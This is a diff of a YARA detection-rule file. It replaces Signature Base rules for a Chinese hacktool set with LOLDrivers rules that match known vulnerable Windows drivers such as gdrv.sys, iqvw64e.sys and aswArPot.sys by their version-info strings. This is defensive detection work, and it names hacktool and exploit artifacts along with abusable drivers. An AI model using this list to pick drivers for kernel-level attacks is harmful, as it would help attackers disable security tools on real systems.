+		id = "b44afa7f-6a0d-5cbd-ab2c-910d211f5cb0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10039-L10058"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3af9c376d43321e813057ecd0403e71cafc3302139e2409ab41e254386c33ecb"
+		logic_hash = "84d9015bf6ddbfcd60052a6ffcf4bfa6a2c2f8748b3b7f21ad65c1c8377dc3cb"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "PsInitialSystemProcess @%p" fullword ascii
-		$s1 = "PsLookupProcessByProcessId(%u) Failed" fullword ascii
-		$s2 = "PsLookupProcessByProcessId(%u) => %p" fullword ascii
-		$s3 = "FirstStage() Loaded, CurrentThread @%p Stack %p - %p" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044006300500072006f00740065006300740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0044006300500072006f00740065006300740020002800520029002000570069006e0031003000780038003600200064007200690076006500720020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032002d00320030003200300020004a00690061006e0067006d0065006e0020004500790075006e0020004e006500740077006f0072006b00200043006f002e002c004c00740064002e00200032003000310039 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <210KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Lamescan3 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_4429 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file lamescan3.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8ff1a0e6-d054-589d-a038-f889951ba250"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1161-L1177"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3130eefb79650dab2e323328b905e4d5d3a1d2f0"
-		logic_hash = "8246128fa4378b0479a0c051965188c7c3fa0f52c8acc8934ef8af3155a85590"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iqvw64e.sys, iQVW64.SYS, NalDrv.sys"
+		author = "Florian Roth"
+		id = "0ffa7a9b-5174-53df-a332-e8b9e460eb1b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10061-L10081"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4429f32db1cc70567919d7d47b844a91cf1329a6cd116f582305f3b7b60cd60b"
+		hash = "a59c40e7470b7003e8adfee37c77606663e78d7e3f2ebb8d60910af19924d8df"
+		logic_hash = "3dd4326755957e11ca961eb87d0ccae5b63dc7ea4e9dc8e9c67e9c6d52bf894b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "dic\\loginlist.txt" fullword ascii
-		$s2 = "Radmin.exe" fullword ascii
-		$s3 = "lamescan3.pdf!" fullword ascii
-		$s4 = "dic\\passlist.txt" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003300200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3740KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_CN_Tools_Pc : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_32E1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file pc.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "11cc6c46-33c0-5c53-88f8-700be9ca8add"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1179-L1195"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5cf8caba170ec461c44394f4058669d225a94285"
-		logic_hash = "1da263362e4c2ec8194bb80bfc3f25ff8c4b708919ba02ea02687d5404b99720"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "52d07201-6af3-5675-a5f0-9b6a7bb39b28"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10084-L10103"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "32e1a8513eee746d17eb5402fb9d8ff9507fb6e1238e7ff06f7a5c50ff3df993"
+		logic_hash = "fd106f69d83d2b1aeb1fdaf16f5809b0fd0d200dec00292efd9bd62422e518a8"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\svchost.exe" ascii
-		$s2 = "%s%08x.001" fullword ascii
-		$s3 = "Qy001Service" fullword ascii
-		$s4 = "/.MIKY" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dos_Down64 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_43BA : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Down64.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b4907ede-dc6a-5b8c-bf1c-557df54191a4"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1197-L1215"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "43e455e43b49b953e17a5b885ffdcdf8b6b23226"
-		logic_hash = "d181c2075762fc3bb5b61bcdef57eb6533cb59dde03c4b901b6ce5b8323f3c8a"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
+		author = "Florian Roth"
+		id = "6db1af54-b12d-5213-b184-7df7f628882e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10106-L10125"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "43ba8d96d5e8e54cab59d82d495eeca730eeb16e4743ed134cdd495c51a4fc89"
+		logic_hash = "910724e7bac9c9c83e703be52e43f4cd88dda344127f2ebc7aee01981467e9e7"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "C:\\Windows\\Temp\\Down.txt" fullword wide
-		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
-		$s3 = "C:\\Windows\\Temp\\" wide
-		$s4 = "ProcessXElement" fullword ascii
-		$s8 = "down.exe" fullword wide
-		$s20 = "set_Timer1" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d004900430053005900530020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003100200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00310020007800360034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0031 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100390020004d00490043005300590053 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Epathobj_Exp32 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_1078 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file epathobj_exp32.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ca4639af-ee4f-5220-9595-e7a06b9a8534"
-		date = "2015-06-13"
-		modified = "2022-12-21"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1217-L1235"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ed86ff44bddcfdd630ade8ced39b4559316195ba"
-		logic_hash = "8959837257848a08240d0423971b9d3a850a7e9cc796de2c9b2d34814923f8ec"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "30ef7f0d-e6f4-5a98-87c2-286ac64c3886"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10128-L10147"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1078af0c70e03ac17c7b8aa5ee03593f5decfef2f536716646a4ded1e98c153c"
+		logic_hash = "e565dcf1bdc8ebaf90c1e42bf3e72ce561cb95f5977809fb9082bb430353dd9b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Watchdog thread %d waiting on Mutex" fullword ascii
-		$s1 = "Exploit ok run command" fullword ascii
-		$s2 = "\\epathobj_exp\\Release\\epathobj_exp.pdb" ascii
-		$s3 = "Alllocated userspace PATHRECORD () %p" fullword ascii
-		$s4 = "Mutex object did not timeout, list not patched" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <270KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Tools_Unknown : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_26C2 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file unknown.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2cb75a84-506d-5b67-8b1f-b91beb5a99a3"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1237-L1254"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4be8270c4faa1827177e2310a00af2d5bcd2a59f"
-		logic_hash = "493bb63d4dd519efbf53a29fa44ef74f0a85943b2d9f49f11e3daa57c6b03d8e"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		id = "dba48ad5-9b35-555e-814e-73b74f157b66"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10150-L10169"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "26c28746e947389856543837aa59a5b1f4697e5721a04d00aa28151a2659b097"
+		logic_hash = "2a6f460b66c7e94dfead7bdb3dc46a181ba2e33b40fca1812f0b412daf0a46c4"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
-		$s2 = "GET /ok.asp?id=1__sql__ HTTP/1.1" fullword ascii
-		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
-		$s4 = "Failed to clear tab control Failed to delete tab at index %d\"Failed to retrieve" wide
-		$s5 = "Host: 127.0.0.1" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2500KB and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_PLUGIN_Ajunk : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Interfacecorporation_Cpxcsys_Gpcxcdiobmpcicpci_05C1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file AJunk.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "af92d01d-5e24-52f7-934a-0ad102fc7a93"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1256-L1271"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "eb430fcfe6d13b14ff6baa4b3f59817c0facec00"
-		logic_hash = "e37504aab506138493ddc0979697502819824ef00c7931599130fafb5d84a7a9"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CP2X72C.SYS"
+		author = "Florian Roth"
+		id = "da7c0052-5ff9-5257-a65f-7856f772b4c6"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10172-L10192"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "05c15a75d183301382a082f6d76bf3ab4c520bf158abca4433d9881134461686"
+		hash = "4b4ea21da21a1167c00b903c05a4e3af6c514ea3dfe0b5f371f6a06305e1d27f"
+		logic_hash = "485222f31dbe1e486e86c64b607de6742747b3ab2571adfc8c210205032b380b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "AJunk.dll" fullword ascii
-		$s2 = "AJunk.DLL" fullword wide
-		$s3 = "AJunk Dynamic Link Library" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004700500043002d0032005800370032004300200049002f004f0020004d006f00640075006c006500200044006500760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007400650072006600610063006500200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e00330030002e00330033002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e00330030002e00330033002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043005000320058003700320043002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004700500043002d00320058003700320043002000440049004f002d0042004d0028005000430049002f0043002d0050004300490029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043005000320058003700320043002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200032003000300031002c0020003200300032003000200049006e007400650072006600610063006500200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <560KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Iisputscanner : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_CC68 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file IISPutScanner.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "699ee45d-c842-56eb-b55b-12a91e815a7b"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1273-L1316"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9869c70d6a9ec2312c749aa17d4da362fa6e2592"
-		logic_hash = "b2af9003cef528610280866bf00a9716b4421a5f7c65e7c8ec3202af9a592de1"
-		score = 75
-		quality = 83
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "14971376-05dc-59c2-bce7-498eabb52678"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10195-L10214"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64"
+		logic_hash = "26f1740a069d238aadb1922512e23184cb3cf34d9ef1ff1b942755a49fbd48b0"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "KERNEL32.DLL" fullword ascii
-		$s3 = "ADVAPI32.DLL" fullword ascii
-		$s4 = "VERSION.DLL" fullword ascii
-		$s5 = "WSOCK32.DLL" fullword ascii
-		$s6 = "COMCTL32.DLL" fullword ascii
-		$s7 = "GDI32.DLL" fullword ascii
-		$s8 = "SHELL32.DLL" fullword ascii
-		$s9 = "USER32.DLL" fullword ascii
-		$s10 = "OLEAUT32.DLL" fullword ascii
-		$s11 = "LoadLibraryA" fullword ascii
-		$s12 = "GetProcAddress" fullword ascii
-		$s13 = "VirtualProtect" fullword ascii
-		$s14 = "VirtualAlloc" fullword ascii
-		$s15 = "VirtualFree" fullword ascii
-		$s16 = "ExitProcess" fullword ascii
-		$s17 = "RegCloseKey" fullword ascii
-		$s18 = "GetFileVersionInfoA" fullword ascii
-		$s19 = "ImageList_Add" fullword ascii
-		$s20 = "BitBlt" fullword ascii
-		$s21 = "ShellExecuteA" fullword ascii
-		$s22 = "ActivateKeyboardLayout" fullword ascii
-		$s23 = "BBABORT" fullword wide
-		$s25 = "BBCANCEL" fullword wide
-		$s26 = "BBCLOSE" fullword wide
-		$s27 = "BBHELP" fullword wide
-		$s28 = "BBIGNORE" fullword wide
-		$s29 = "PREVIEWGLYPH" fullword wide
-		$s30 = "DLGTEMPLATE" fullword wide
-		$s31 = "TABOUTBOX" fullword wide
-		$s32 = "TFORM1" fullword wide
-		$s33 = "MAINICON" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000390039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and filesize >350KB and all of them
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_Idtools_For_Winxp_Idttool_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_A209 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file IdtTool.sys"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0312be49-c262-5143-abfc-02d428552b86"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1318-L1335"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "07feb31dd21d6f97614118b8a0adf231f8541a67"
-		logic_hash = "831f42abd7374b2ca2b4115a73aae2123e2212b0854d4cc0950b8e66a28e38a3"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt.sys"
+		author = "Florian Roth"
+		id = "e38fec7b-bc36-5fa5-a32e-fd82aa05dd19"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10217-L10236"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a2096b460e31451659b0dde752264c362f47254c8191930bc921ff16a4311641"
